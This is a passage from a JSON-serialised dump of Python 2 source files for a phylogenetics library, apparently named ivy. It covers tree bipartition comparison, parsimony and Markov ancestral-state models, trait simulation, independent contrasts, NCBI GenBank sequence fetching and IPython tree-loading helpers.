  def __init__(self, root, elements=None):\n        self.root = root\n        self.node2labels = root.leafsets(labels=True)\n        self.elements = elements or self.node2labels.pop(root)\n        self.biparts = [ Bipart(self.elements, v, node=k,\n                                support=int(k.label or 0))\n                         for k, v in self.node2labels.items() ]\n\ndef compare_trees(r1, r2, support=None):\n    e = (set([ x.label for x in r1.leaves() ]) &\n         set([ x.label for x in r2.leaves() ]))\n    bp1 = [ Bipart(e, v, node=k, support=int(k.label or 0))\n            for k, v in r1.leafsets(labels=True).items() ]\n    bp2 = [ Bipart(e, v, node=k, support=int(k.label or 0))\n            for k, v in r2.leafsets(labels=True).items() ]\n    return compare(bp1, bp2, support)\n\ndef compare(set1, set2, support=None):\n    hits1 = []; hits2 = []\n    conflicts1 = defaultdict(set); conflicts2 = defaultdict(set)\n    for bp1 in set1:\n        for bp2 in set2:\n            if bp1 == bp2:\n                hits1.append(bp1.node); hits2.append(bp2.node)\n            if conflict(bp1, bp2, support):\n                conflicts1[bp1.node].add(bp2.node)\n                conflicts2[bp2.node].add(bp1.node)\n    return hits1, hits2, conflicts1, conflicts2\n    \n## a = Bipart(\"abcdef\", \"abc\")\n## b = Bipart(\"abcdef\", \"def\")\n## c = Bipart(\"abcdef\", \"ab\")\n## d = Bipart(\"abcdef\", \"cd\")\n## print a == b\n## print a.iscompatible(b)\n## print a.iscompatible(c)\n## print a.iscompatible(d)\n## print c.iscompatible(d)\n## sys.exit()    \n", "ivy/chars/__init__.py": "import mk, catpars, evolve\n", "ivy/chars/catpars.py": "import scipy, numpy\n\ndef default_costmatrix(numstates, dtype=numpy.int):\n    \"a square array with zeroes along the diagonal, ones elsewhere\"\n    return scipy.logical_not(scipy.identity(numstates)).astype(float)\n\ndef minstates(v):\n    \"return the indices of v that equal the minimum\"\n    return scipy.nonzero(scipy.equal(v, min(v)))\n\ndef downpass(node, states, stepmatrix, chardata, node2dpv=None):\n    if node2dpv is None:\n        node2dpv = {}\n        \n    if not node.isleaf:\n        for child in node.children:\n            downpass(child, states, stepmatrix, chardata, node2dpv)\n\n        dpv = scipy.zeros([len(states)])\n        node2dpv[node] = dpv\n        for i in states:\n            for child in node.children:\n                child_dpv = node2dpv[child]\n                mincost = min([ child_dpv[j] + stepmatrix[i,j] \\\n                                for j in states ])\n                dpv[i] += mincost\n                    \n        #print node.label, node.dpv\n\n    else:\n        #print node.label, chardata[node.label]\n        node2dpv[node] = stepmatrix[:,chardata[node.label]]\n\n    return node2dpv\n        \n\ndef uppass(node, states, stepmatrix, node2dpv, node2upm={},\n           node2ancstates=None):\n    parent = node.parent\n    if not node.isleaf:\n        if parent is None: # root\n            dpv = node2dpv[node]\n            upm = None\n            node.mincost = min(dpv)\n            node2ancstates = {node: minstates(dpv)}\n            \n        else:\n            M = scipy.zeros(stepmatrix.shape)\n            for i in states:\n                sibs = [ c for c in parent.children if c is not node ]\n                for j in states:\n                    c = 0\n                    for sib in sibs:\n                        sibdpv = node2dpv[sib]\n                        c += min([ sibdpv[x] + stepmatrix[j,x]\n                                   for x in states ])\n                    c += stepmatrix[j,i]\n\n                    p_upm = node2upm.get(parent)\n                    if p_upm is not None:\n                        c += min(p_upm[j])\n\n                    M[i,j] += c\n                \n            node2upm[node] = M\n\n            v = node2dpv[node][:]\n            for s in states:\n                v[s] += min(M[s])\n            node2ancstates[node] = minstates(v)\n\n        for child in node.children:\n            uppass(child, states, stepmatrix, node2dpv, node2upm,\n                   node2ancstates)\n\n    return node2ancstates\n            \ndef ancstates(tree, chardata, stepmatrix):\n    states = range(len(stepmatrix))\n    return uppass(tree, states, stepmatrix,\n                  downpass(tree, states, stepmatrix, chardata))\n\ndef _bindeltran(node, stepmatrix, node2dpv, node2deltr=None, ancstate=None):\n    if node2deltr is None:\n        node2deltr = {}\n\n    dpv = node2dpv[node]\n    if ancstate is not None:\n        c, s = min([ (cost+stepmatrix[ancstate,i], i) \\\n                     for i, cost in enumerate(dpv) ])\n    else:\n        c, s = min([ (cost, i) for i, cost in enumerate(dpv) ])\n        \n    node2deltr[node] = s\n    for child in node.children:\n        _bindeltran(child, stepmatrix, node2dpv, node2deltr, s)\n\n    return node2deltr\n    \ndef binary_deltran(tree, chardata, stepmatrix):\n    states = range(len(stepmatrix))\n    node2dpv = downpass(tree, states, stepmatrix, chardata)\n    node2deltr = _bindeltran(tree, stepmatrix, node2dpv)\n    return node2deltr\n        \n\nif __name__ == \"__main__\":\n    from pprint import pprint\n    from ivy import tree\n    root = tree.read(\"(a,((b,c),(d,(e,f))));\")\n\n    nstates = 4\n    states = range(nstates)\n    cm = default_costmatrix(nstates)\n    chardata = dict(zip(\"abcdef\", map(int, \"000233\")))\n    dp = downpass(root, states, cm, chardata)\n\n    for i, node in enumerate(root):\n        if not node.label:\n            node.label = \"N%s\" % i\n        else:\n            node.label = \"%s (%s)\" % (node.label, chardata[node.label])\n\n    print ascii.render(root)\n            \n\n##     nstates = 2\n##     leaves = tree.leaves() \n##     for leaf in leaves:\n##         leaf.anc_cost_vector = chardata[leaf.label]\n\n    pprint(\n        #ancstates(root, chardata, cm)\n        #uppass(root, states, cm, downpass(tree, states, cm, chardata))\n        dp\n        )\n\n\n", "ivy/chars/evolve.py": "#!/usr/bin/env python\n\"\"\"\nFunctions for evolving traits and trees.\n\"\"\"\ndef brownian(root, sigma=1.0, init=0.0, values={}):\n    \"\"\"\n    Recursively evolve a trait by Brownian motion up from the node\n    *root*.\n\n    * *sigma*: standard deviation of the normal random variate after\n      one unit of branch length\n\n    * *init*: initial value\n\n    Returns: *values* - a dictionary mapping nodes to evolved values\n    \"\"\"\n    from scipy.stats import norm\n    values[root] = init\n    for child in root.children:\n        time = child.length\n        random_step = norm.rvs(init, scale=sigma*time)\n        brownian(child, sigma, random_step, values)\n    return values\n\ndef test_brownian():\n    \"\"\"\n    Evolve a trait up an example tree of primates:.\n\n    ((((Homo:0.21,Pongo:0.21)N1:0.28,Macaca:0.49)N2:0.13,\n    Ateles:0.62)N3:0.38,Galago:1.00)root;\n\n    Returns: (*root*, *data*) - the root node and evolved data.\n    \"\"\"\n    import newick\n    root = newick.parse(\n        \"((((Homo:0.21,Pongo:0.21)N1:0.28,Macaca:0.49)N2:0.13,\"\\\n        \"Ateles:0.62)N3:0.38,Galago:1.00)root;\"\n        )\n    print root.ascii(scaled=True) \n    evolved = brownian(root)\n    for node in root.iternodes():\n        print node.label, evolved[node]\n    return root, evolved\n\nif __name__ == \"__main__\":\n    test_brownian()\n", "ivy/chars/mk.py": "\"\"\"\nCategorical Markov models with k states.\n\"\"\"\nimport numpy, scipy, random\nimport scipy.linalg\nimport scipy.optimize\nfrom scipy import array, zeros, ones\nfrom scipy.linalg import expm#, expm2, expm3\nfrom math import log, exp\nrand = random.Random()\nuniform = rand.uniform; expovariate = rand.expovariate\n\nLARGE = 10e10 # large -lnL value used to bound parameter optimization\n\nclass Q:\n    def __init__(self, k=2, layout=None):\n        \"\"\"\n        Represents a square transition matrix with k states.\n        \n        'layout' is a square (k,k) array of integers that index free\n        rate parameters (values on the diagonal are ignored).  Cells\n        with value 0 will have the first rate parameter, 1 the\n        second, etc.\n        \"\"\"\n        self.k = k\n        self.range = range(k)\n        self.offdiag = array(numpy.eye(k)==0, dtype=numpy.int)\n        if layout is None:\n            layout = zeros((k,k), numpy.int)\n        self.layout = layout*self.offdiag\n\n    def fill(self, rates):\n        m = numpy.take(rates, self.layout)*self.offdiag\n        v = m.sum(1) * -1\n        for i in self.range:\n            m[i,i] = v[i]\n        return m\n\n    def default_priors(self):\n        p = 1.0/self.k\n        return [p]*self.k\n\ndef sample_weighted(weights):\n    u = uniform(0, sum(weights))\n    x = 0.0\n    for i, w in enumerate(weights):\n        x += w\n        if u < x:\n            break\n    return i\n\ndef conditionals(root, data, Q):\n    nstates = Q.shape[0]\n    states = range(nstates)\n    nodes = [ x for x in root.postiter() ]\n    nnodes = len(nodes)\n    v = zeros((nnodes,nstates))\n    n2i = {}\n    \n    for i, n in enumerate(nodes):\n        n2i[n] = i\n        if n.isleaf:\n            state = data[n.label]\n            try:\n                state = int(state)\n                v[i,state] = 1.0\n            except ValueError:\n                if state == '?' or state == '-':\n                    v[i,:] += 1/float(nstates)\n        else:\n            Pv = [ (expm(Q*child.length)*v[n2i[child]]).sum(1)\n                   for child in n.children ]\n            v[i] = numpy.multiply(*Pv)\n            # fossils\n            state = None\n            if n.label in data:\n                state = int(data[n.label])\n            elif n in data:\n                state = int(data[n])\n            if state != None:\n                for s in states:\n                    if s != state: v[i,s] = 0.0\n            \n    return dict([ (n, v[i]) for n,i in n2i.items() ])\n\ndef contrasts(root, data, Q):\n    cond = conditionals(root, data, Q)\n    d = {}\n    for n in root.postiter(lambda x:x.children):\n        nc = cond[n]; nc /= sum(nc)\n        diff = 0.0\n        for child in n.children:\n            cc = cond[child]; cc /= sum(cc)\n            diff += numpy.sum(numpy.abs(nc-cc))\n        d[n] = diff\n    return d\n\ndef lnL(root, data, Q, priors):\n    d = conditionals(root, data, Q)\n    return numpy.log(sum(d[root]*priors))\n\ndef optimize(root, data, Q, priors=None):\n    Qfill = Q.fill\n    if priors is None: priors = Q.default_priors()\n    def f(params):\n        if (params<0).any(): return LARGE\n        return -lnL(root, data, Qfill(params), priors)\n        \n    # initial parameter values\n    p = [1.0]*len(set(Q.layout.flat))\n\n    v = scipy.optimize.fmin_powell(\n        f, p, full_output=True, disp=0, callback=None\n        )\n    params, neglnL = v[:2]\n    if neglnL == LARGE:\n        raise Exception(\"ConvergenceError\")\n    return params, neglnL\n\ndef sim(root, n2p, s0, d=None):\n    if d is None:\n        d = {root:s0}\n    for n in root.children:\n        v = n2p[n][s0]\n        i = sample_weighted(v)\n        d[n] = i\n        sim(n, n2p, i, d)\n    return d\n\ndef stmap(root, states, ancstates, Q, condition_on_success):\n    \"\"\"\n    This and its dependent functions below need testing and\n    optimization.\n    \"\"\"\n    results = []\n    for n in root.descendants():\n        si = ancstates[n.parent]\n        sj = ancstates[n]\n        v = simulate_on_branch(states, si, sj, Q, n.length,\n                               condition_on_success)\n        print n, si, sj\n        if v:\n            results.append(v)\n        else:\n            return None\n    return results\n\ndef simulate_on_branch(states, si, sj, Q, brlen, condition_on_success):\n    point = 0.0\n    history = [(si, point)]\n    if si != sj:  # condition on one change occurring\n        lambd = -(Q[si,si])\n        U = uniform(0.0, 1.0)\n        # see appendix of Nielsen 2001, Genetics\n        t = brlen - point\n        newpoint = -(1.0/lambd) * log(1.0 - U*(1.0 - exp(-lambd * t)))\n        newstate = draw_new_state(states, Q, si)\n        history.append((newstate, newpoint))\n        si = newstate; point = newpoint\n    while 1:\n        lambd = -(Q[si,si])\n        rv = expovariate(lambd)\n        newpoint = point + rv\n\n        if newpoint <= brlen:  # state change along branch\n            newstate = draw_new_state(states, Q, si)\n            history.append((newstate, newpoint))\n            si = newstate; point = newpoint\n        else:\n            history.append((si, brlen))\n            break\n                \n    if si == sj or (not condition_on_success): # success\n        return history\n\n    return None\n        \ndef draw_new_state(states, Q, si):\n    \"\"\"\n    Given a rate matrix Q, a starting state si, and an ordered\n    sequence of states, eg (0, 1), draw a new state sj with\n    probability -(qij/qii)\n    \"\"\"\n    Qrow = Q[si]\n    qii = Qrow[si]\n    qij_probs = [ (x, -(Qrow[x]/qii)) for x in states if x != si ]\n    uni = uniform(0.0, 1.0)\n    val = 0.0\n    for sj, prob in qij_probs:\n        val += prob\n        if uni < val:\n            return sj\n    \ndef sample_ancstates(node, states, conditionals, n2p, fixed={}):\n    \"\"\"\n    Sample ancestral states from their conditional likelihoods\n    \"\"\"\n    ancstates = {}\n    for n in node.preiter():\n        if n in fixed:\n            state = fixed[n]\n        else:\n            cond = conditionals[n]\n\n            if n.parent:\n                P = n2p[n]\n                ancst = ancstates[n.parent]\n                newstate_Prow = P[ancst]\n                cond *= newstate_Prow\n\n            cond /= sum(cond)\n\n            rv = uniform(0.0, 1.0)\n            v = 0.0\n            for state, c in zip(states, cond):\n                v += c\n                if rv < v:\n                    break\n        ancstates[n] = state\n\n    return ancstates\n", "ivy/contrasts.py": "\"\"\"\nCalculate independent contrasts\n\nTODO: include utilities for transforming data, etc.\n\"\"\"\ndef PIC(node, data, results={}):\n    \"\"\"\n    Phylogenetic independent contrasts.\n\n    Recursively calculate independent contrasts of a bifurcating node\n    given a dictionary of trait values.\n\n    Args:\n        node (Node): A node object\n        data (dict): Mapping of leaf names to character values\n\n    Returns:\n        dict: Mapping of internal nodes to tuples containing ancestral\n              state, its variance (error), the contrast, and the\n              contrasts's variance.\n\n    TODO: modify to accommodate polytomies.\n    \"\"\"\n    X = []; v = []\n    for child in node.children:\n        if child.children:\n            PIC(child, data, results)\n            child_results = results[child]\n            X.append(child_results[0])\n            v.append(child_results[1])\n        else:\n            X.append(data[child.label])\n            v.append(child.length)\n\n    Xi, Xj = X  # Xi - Xj is the contrast value\n    vi, vj = v\n\n    # Xk is the reconstructed state at the node\n    Xk = ((1.0/vi)*Xi + (1/vj)*Xj) / (1.0/vi + 1.0/vj)\n\n    # vk is the variance\n    vk = node.length + (vi*vj)/(vi+vj)\n\n    results[node] = (Xk, vk, Xi-Xj, vi+vj)\n\n    return results\n\nif __name__ == \"__main__\":\n    import tree\n    n = tree.read(\n        \"((((Homo:0.21,Pongo:0.21)N1:0.28,Macaca:0.49)N2:0.13,\"\\\n        \"Ateles:0.62)N3:0.38,Galago:1.00)N4:0.0;\"\n        )\n    char1 = {\n        \"Homo\": 4.09434,\n        \"Pongo\": 3.61092,\n        \"Macaca\": 2.37024,\n        \"Ateles\": 2.02815,\n        \"Galago\": -1.46968\n        }\n\n    for k, v in PIC(n, char1).items():\n        print k.label or k.id, v\n", "ivy/genbank.py": "import re, sys, logging\nfrom collections import defaultdict\nfrom itertools import izip_longest, ifilter\nfrom Bio import Entrez, SeqIO\nfrom Bio.Blast import NCBIWWW, NCBIXML\nfrom ivy.storage import Storage\n\nemail = \"\"\n\ndef batch(iterable, size):\n    \"\"\"\n    Take an iterable and return it in chunks (sub-iterables)\n\n    Args:\n        iterable: Any iterable\n        size (int): Size of chunks\n    Yields:\n        Chunks of size `size`\n    \"\"\"\n    args = [ iter(iterable) ]*size\n    for x in izip_longest(fillvalue=None, *args):\n        yield ifilter(None, x)\n\ndef extract_gbac(s):\n    \"\"\"\n    Extract genbank accession\n\n    Args:\n        s (str): text string of genbank file\n    Returns:\n        list: Accession number(s)\n    \"\"\"\n    gbac_re = re.compile(r'[A-Z]{1,2}[0-9]{4,7}')\n    return gbac_re.findall(s, re.M)\n    # RR: This also returns various other strings that match the pattern (eg.\n    # protein ids)\n\ndef extract_gene(seq, gene):\n    \"\"\"\n    RR: Not sure what format seq should be in -CZ\n    \"\"\"\n    for t in \"exon\", \"gene\":\n        for x in seq.features:\n            if x.type == t:\n                v = x.qualifiers.get(\"gene\")\n                if v == [gene]:\n                    if x.sub_features:\n                        s = [ seq[sf.location.start.position:\n                                  sf.location.end.position]\n                              for sf in x.sub_features ]\n                        return reduce(lambda x,y:x+y, s)\n                    else:\n                        loc = x.location\n                        return seq[loc.start.position-10:loc.end.position+10]\n\ndef gi2webenv(gilist):\n    h = Entrez.esearch(\n        db=\"nucleotide\", term=\" OR \".join(gilist), usehistory=\"y\",\n        retmax=len(gilist)\n        )\n    d = Entrez.read(h)\n    return d[\"WebEnv\"], d[\"QueryKey\"]\n\ndef gi2tax(gi):\n    global email\n    assert email, \"set email!\"\n    Entrez.email = email\n    h = Entrez.elink(dbfrom='taxonomy', db='nucleotide', from_uid=gi,\n                     LinkName='nucleotide_taxonomy')\n    r = Entrez.read(h)[0]\n    h.close()\n    i = r['LinkSetDb'][0]['Link'][0]['Id']\n    h = Entrez.efetch(db='taxonomy', id=i, retmode='xml')\n    r = Entrez.read(h)[0]\n    h.close()\n    return r\n\ndef ac2gi(ac):\n    global email\n    assert email, \"set email!\"\n    Entrez.email = email\n    h = Entrez.esearch(db=\"nucleotide\", term=ac, retmax=1)\n    d = Entrez.read(h)['IdList'][0]\n    h.close()\n    return d\n\ndef acsum(aclist, batchsize=100):\n    \"\"\"\n    fetch esummary info for list of accession numbers -- useful for\n    getting gi and taxids\n    \"\"\"\n    global email\n    assert email, \"set email!\"\n    Entrez.email = email\n    results = {}\n    for v in batch(aclist, batchsize):\n        v = list(v)\n        h = Entrez.esearch(\n            db=\"nucleotide\", retmax=len(v),\n            term=\" OR \".join([ \"%s[ACCN]\" % x for x in v ]),\n            usehistory=\"y\"\n            )\n        d = Entrez.read(h)\n        h.close()\n        # gis, but not in order of aclist\n        gis = d['IdList']\n        d = Entrez.read(Entrez.esummary(db='nucleotide', id=','.join(gis)),\n                        validate=False)\n        for x in d:\n            ac = x['Caption']\n            if ac in aclist:\n                results[ac] = x\n    return results\n\ndef fetch_aclist(aclist, batchsize=1000):\n    global email\n    assert email, \"set email!\"\n    Entrez.email = email\n    results = {}\n    n = 0\n    for v in batch(aclist, batchsize):\n        v = list(v)\n        h = Entrez.esearch(\n            db=\"nucleotide\",\n            term=\" OR \".join([ \"%s[ACCN]\" % x for x in v ]),\n            usehistory=\"y\"\n            )\n        d = Entrez.read(h)\n        h.close()\n        h = Entrez.efetch(db=\"nucleotide\", rettype=\"gb\", retmax=len(v),\n                          webenv=d[\"WebEnv\"], query_key=d[\"QueryKey\"])\n        seqs = SeqIO.parse(h, \"genbank\")\n        for s in seqs:\n            try:\n                ac = s.annotations[\"accessions\"][0]\n                if ac in aclist:\n                    results[ac] = s\n            except:\n                pass\n        h.close()\n        n += len(v)\n        logging.info('fetched %s sequences', n)\n    return results\n\ndef fetch_gilist(gilist, batchsize=1000):\n    global email\n    assert email, \"set email!\"\n    Entrez.email = email\n    results = {}\n    for v in batch(gilist, batchsize):\n        v = map(str, v)\n        h = Entrez.epost(db=\"nucleotide\", id=\",\".join(v), usehistory=\"y\")\n        d = Entrez.read(h)\n        h.close()\n        h = Entrez.efetch(db=\"nucleotide\", rettype=\"gb\", retmax=len(v),\n                          webenv=d[\"WebEnv\"], query_key=d[\"QueryKey\"])\n        seqs = SeqIO.parse(h, \"genbank\")\n        for s in seqs:\n            try:\n                gi = s.annotations[\"gi\"]\n                if gi in v:\n                    s.id = organism_id(s)\n                    results[gi] = s\n            except:\n                pass\n        h.close()\n    return results\n\ndef organism_id(s):\n    org = (s.annotations.get('organism') or '').replace('.', '')\n    return '%s_%s' % (org.replace(' ','_'), s.id.split('.')[0])\n\ndef fetchseq(gi):\n    global email\n    assert email, \"set email!\"\n    Entrez.email = email\n    h = Entrez.efetch(db=\"nucleotide\", id=str(gi), rettype=\"gb\")\n    s = SeqIO.read(h, 'genbank')\n    s.id = organism_id(s)\n    return s\n\ndef create_fastas(data, genes):\n    fastas = dict([ (g, file(g+\".fasta\", \"w\")) for g in genes ])\n    for label, seqs in data.items():\n        for gene, s in zip(genes, seqs):\n            if s and type(s) != str:\n                tag = None\n                try:\n                    tag = \"%s_%s\" % (label, s.annotations[\"accessions\"][0])\n                except:\n                    tag = \"%s_%s\" % (label, s.name)\n                if tag:\n                    fastas[gene].write(\">%s\\n%s\\n\" % (tag, s.seq))\n            else:\n                sys.stderr.write((\"error: not an accession number? \"\n                                  \"%s (%s %s)\\n\" % (s, label, gene)))\n\n    for f in fastas.values(): f.close()\n\ndef merge_fastas(fnames, name=\"merged\"):\n    outfile = file(name+\".phy\", \"w\")\n    gene2len = {}\n    d = defaultdict(dict)\n    for fn in fnames:\n        gene = fn.split(\".\")[0]\n        for rec in SeqIO.parse(file(fn), \"fasta\"):\n            #sp = \"_\".join(rec.id.split(\"_\")[:2])\n            if rec.id.startswith(\"Pedicularis\"):\n                sp = rec.id.split(\"_\")[1]\n            else:\n                sp = rec.id.split(\"_\")[0]\n            sp = \"_\".join(rec.id.split(\"_\")[:-1])\n            seq = str(rec.seq)\n            d[sp][gene] = seq\n            if gene not in gene2len:\n                gene2len[gene] = len(seq)\n\n    ntax = len(d)\n    nchar = sum(gene2len.values())\n    outfile.write(\"%s %s\\n\" % (ntax, nchar))\n    genes = list(sorted(gene2len.keys()))\n    for sp, data in sorted(d.items()):\n        s = \"\".join([ (data.get(gene) or \"\".join([\"?\"]*gene2len[gene]))\n                      for gene in genes ])\n        outfile.write(\"%s  %s\\n\" % (sp, s))\n    outfile.close()\n    parts = file(name+\".partitions\", \"w\")\n    i = 1\n    for g in genes:\n        n = gene2len[g]\n        parts.write(\"DNA, %s = %s-%s\\n\" % (g, i, i+n-1))\n        i += n\n    parts.close()\n\ndef blast_closest(fasta, e=10):\n    f = NCBIWWW.qblast(\"blastn\", \"nr\", fasta, expect=e, hitlist_size=1)\n    rec = NCBIXML.read(f)\n    d = rec.descriptions[0]\n    result = Storage()\n    gi = re.findall(r'gi[|]([0-9]+)', d.title) or None\n    if gi: result.gi = int(gi[0])\n    ac = re.findall(r'gb[|]([^|]+)', d.title) or None\n    if ac: result.ac = ac[0].split(\".\")[0]\n    result.title = d.title.split(\"|\")[-1].strip()\n    return result\n\ndef blast(query, e=10, n=100, entrez_query=\"\"):\n    f = NCBIWWW.qblast(\"blastn\", \"nr\", query, expect=e, hitlist_size=n,\n                       entrez_query=entrez_query)\n    recs = NCBIXML.parse(f)\n    return recs\n    ## v = []\n    ## for d in rec.descriptions:\n    ##     result = Storage()\n    ##     gi = re.findall(r'gi[|]([0-9]+)', d.title) or None\n    ##     if gi: result.gi = int(gi[0])\n    ##     ac = re.findall(r'gb[|]([^|]+)', d.title) or None\n    ##     if ac: result.ac = ac[0].split(\".\")[0]\n    ##     result.title = d.title.split(\"|\")[-1].strip()\n    ##     v.append(result)\n    ## return v\n\ndef start_codons(seq):\n    i = seq.find('ATG')\n    while i != -1:\n        yield i\n        i = seq.find('ATG', i+3)\n\ndef search_taxonomy(q):\n    global email\n    assert email, \"set email!\"\n    Entrez.email = email\n    h = Entrez.esearch(db=\"taxonomy\", term=q)\n    return Entrez.read(h)['IdList']\n\ndef fetchtax(taxid):\n    global email\n    assert email, \"set email!\"\n    Entrez.email = email\n    n = 1\n    if not isinstance(taxid, int):\n        # string, possibly with multiple values?\n        try:\n            taxid = taxid.strip()\n            n = taxid.count(',') + 1\n        except AttributeError:\n            # iterable of values?\n            try:\n                n = len(taxid)\n                taxid = ','.join(map(str, taxid))\n            except TypeError:\n                pass\n    else:\n        taxid = str(taxid)\n    h = Entrez.efetch(db='taxonomy', id=taxid, retmode='xml', retmax=n)\n    if n == 1:\n        r = Entrez.read(h)[0]\n    else:\n        # a list of taxonomy results in same order of taxids\n        r = Entrez.read(h)\n    return r\n\n__FIRST = re.compile('[^-]')\n__LAST = re.compile('[-]*$')\ndef trimpos(rec):\n    'return the positions of the first and last ungapped base'\n    s = rec.seq.tostring()\n    first = __FIRST.search(s).start()\n    last = __LAST.search(s).start()-1\n    return (first, last)\n\ndef fetch_DNA_seqs(terms, maxn=10000, batchsize=1000):\n    \"\"\"\n    terms: sequence of search terms, quoted appropriately, with Entrez\n           specifiers, e.g. ['\"Mus musculus\"[organism]']\n    maxn: maximum number of sequences to return\n    returns list of SeqRecord objects\n    \"\"\"\n    global email\n    assert email, \"set email!\"\n    Entrez.email = email\n    h = Entrez.esearch(db=\"nucleotide\", term=\" OR \".join(terms), usehistory=\"y\")\n    d = Entrez.read(h)\n    env = d['WebEnv']; key = d['QueryKey']\n    N = int(d['Count'])\n    if maxn: N = min(N, maxn)\n    logging.info('fetching %s sequences', N)\n    retstart = 0\n    seqs = []\n    n = 0\n    while n < N:\n        h = Entrez.efetch(\n            db=\"nucleotide\", rettype='gb', webenv=env, query_key=key,\n            retstart=retstart, retmax=batchsize\n            )\n        v = list(SeqIO.parse(h, \"genbank\"))\n        n += len(v)\n        logging.info('...fetched %s', n)\n        seqs.extend(v)\n        retstart += batchsize\n    logging.info('...done')\n    return seqs\n\ndef seqrec_taxid(seqrec):\n    \"extract the NCBI taxon id from a sequence record\"\n    for ft in seqrec.features:\n        if ft.type == 'source':\n            break\n    try:\n        for x in ft.qualifiers['db_xref']:\n            if x.startswith('taxon:'):\n                return int(x.split(':')[1])\n    except:\n        pass\n", "ivy/interactive.py": "#!/usr/bin/env ipython\n# -*- coding: utf-8 -*-\n\"\"\"\nAdds to the interactive IPython/pylab environment\n\"\"\"\nimport sys, os, re\nimport ivy\nimport ivy.vis\nfrom ivy.vis import symbols\n\ndef readtree(data, *args, **kwargs): return ivy.tree.read(data, *args, **kwargs)\n\ndef readaln(data, *args, **kwargs): return ivy.align.read(data, *args, **kwargs)\n\ndef treefig(*args, **kwargs):\n    from ivy.vis import TreeFigure, MultiTreeFigure\n    if len(args) == 1:\n        fig = TreeFigure(args[0], **kwargs)\n    else:\n        fig = MultiTreeFigure(**kwargs)\n        for arg in args:\n            print arg\n            fig.add(arg)\n    fig.show()\n    return fig\n\ndef alnfig(*args, **kwargs):\n    from ivy.vis import AlignmentFigure\n    return AlignmentFigure(*args, **kwargs)\n\ndef __maketree(self, s):\n    import os#, IPython\n    words = s.split()\n    treename = \"root\"\n    fname = None\n    if words:\n        treename = words.pop(0)\n        if words and os.path.isfile(words[0]):\n            fname = words.pop(0)\n\n    if not fname:\n        ## msg = \"\\n\".join([\n        ##     \"Name of tree file\",\n        ##     \"(Try dragging one into the terminal):\\n\"\n        ##     ])\n        msg = \"Enter the name of a tree file or a newick string:\\n\"\n        fname = raw_input(msg).strip()\n\n    quotes = [\"'\", '\"']\n    if fname and fname[0] in quotes:\n        fname = fname[1:]\n    if fname and fname[-1] in quotes:\n        fname = fname[:-1]\n    if fname:\n        try:\n            ## root = ivy.tree.read(fname)\n            ## IPython.ipapi.get().to_user_ns({treename:root})\n            cmd = \"%s = ivy.tree.read('%s')\" % (treename, fname)\n            get_ipython().ex(cmd)\n            print \"Tree parsed and assigned to variable '%s'\" % treename\n        except:\n            print \"Unable to parse tree file '%s'\" % fname\n    else:\n        print \"Cancelled\"\n\ndef __node_completer(self, event):\n    symbol = event.symbol\n    s = event.line\n    if symbol:\n        s = s[:-len(symbol)]\n    quote = \"\"\n    if s and s[-1] in [\"'\", '\"']:\n        quote = s[-1]\n        s = s[:-1]\n    #base = (re.findall(r'(\\w+)\\[\\Z', s) or [None])[-1]\n    base = \"\".join((re.findall(r'(\\w+\\.\\w*)?(\\.)?(\\w+)\\[\\Z', s) or [\"\"])[-1])\n    ## print \"symbol:\", symbol\n    ## print \"line:\", event.line\n    ## print \"s:\", s\n    ## print \"quote:\", quote\n    ## print \"base:\", base\n    ## print \"obj:\", self._ofind(base).get(\"obj\")\n\n    obj = None\n    if base:\n        obj = self._ofind(base).get(\"obj\")\n    ## print '\\n'\n    ## print 'base', base\n    ## print 'obj', obj\n    if obj and isinstance(obj, ivy.tree.Node):\n        completions = [\"'\"]\n        if quote:\n            completions = sorted([ x.label for x in obj.labeled() ])\n        return completions\n\n    raise IPython.core.error.TryNext()\n\ntry:\n    ## import IPython\n    IP = get_ipython() #IPython.ipapi.get()\n    IP.magic('matplotlib')\n    if IP:\n        #IP.expose_magic(\"maketree\", __maketree)\n        IP.define_magic(\"maketree\", __maketree)\n        ## IP.set_hook(\n        ##     \"complete_command\", __node_completer, re_key=r'\\[*'\n        ##     )\n        IP.set_hook(\n            \"complete_command\", __node_completer,\n            re_key='.+[[]([\\']|[\"])*\\w*$'\n            )\n\nexcept:\n    print sys.exc_info()[0]\n    sys.stderr.write(\"Magic commands and completers requires IPython >= 0.11\\n\")\n\n## if __name__ == \"__main__\":\n##     if len(sys.argv) > 1:\n##         for fname in sys.argv[1:]:\n##             if os.path.isfile(fname):\n##                 execfile(fname)\n", "ivy/layout.py": "\"\"\"\nlayout nodes in 2d space\n\nThe function of interest is `calc_node_positions` (aka nodepos)\n\"\"\"\nimport numpy\n\nclass Coordinates:\n    \"\"\"\n    Coordinates class for storing xy coordinates\n    \"\"\"\n    def __init__(self, x=0, y=0):\n        self.x = x\n        self.y = y\n\n    def __repr__(self):\n        return \"Coordinates(%g, %g)\" % (self.x, self.y)\n\n    def point(self):\n        return (self.x, self.y)\n\ndef smooth_xpos(node, n2coords):\n    \"\"\"\n    RR: What does smoothing do? -CZ\n    \"\"\"\n    if not node.isleaf:\n        children = node.children\n        for ch in children:\n            smooth_xpos(ch, n2coords)\n\n        if node.parent:\n            px = n2coords[node.parent].x\n            cx = min([ n2coords[ch].x for ch in children ])\n            n2coords[node].x = (px + cx)/2.0\n\ndef depth_length_preorder_traversal(node, n2coords=None, isroot=False):\n    \"\"\"\n    Calculate node depth (root = depth 0) and length to root\n\n    Args:\n       node (Node): A node object\n\n    Returns:\n        dict: Mapping of nodes to coordinate objects. Coordinate\n             objects have attributes \"depth\" and \"length_to_root\"\n    \"\"\"\n    if n2coords is None:\n        n2coords = {}\n    coords = n2coords.get(node) or Coordinates()\n    coords.node = node\n    if (not node.parent) or isroot:\n        coords.depth = 0\n        coords.length_to_root = 0.0\n    else:\n        try:\n            p = n2coords[node.parent]\n            coords.depth = p.depth + 1\n            coords.length_to_root = p.length_to_root + (node.length or 0.0)\n        except KeyError:\n            print node.label, node.parent.label\n        except AttributeError:\n            coords.depth = 0\n            coords.length_to_root = 0\n    n2coords[node] = coords\n\n    for ch in node.children:\n        depth_length_preorder_traversal(ch, n2coords, False)\n\n    return n2coords\n\ndef calc_node_positions(node, width, height,\n                        lpad=0, rpad=0, tpad=0, bpad=0,\n                        scaled=True, smooth=True, n2coords=None):\n    \"\"\"\n    Calculate where nodes should be positioned in 2d space for drawing a tree\n\n    Args:\n        node (Node): A (root) node\n        width (float): The width of the canvas\n        height (float): The height of the canvas\n        lpad, rpad, tpad, bpad (float): Padding on the edges of the canvas.\n                                Optional, defaults to 0.\n        scaled (bool): Whether or not the tree is scaled. Optional, defaults to\n                True.\n        smooth (bool): Whether or not to smooth the tree. 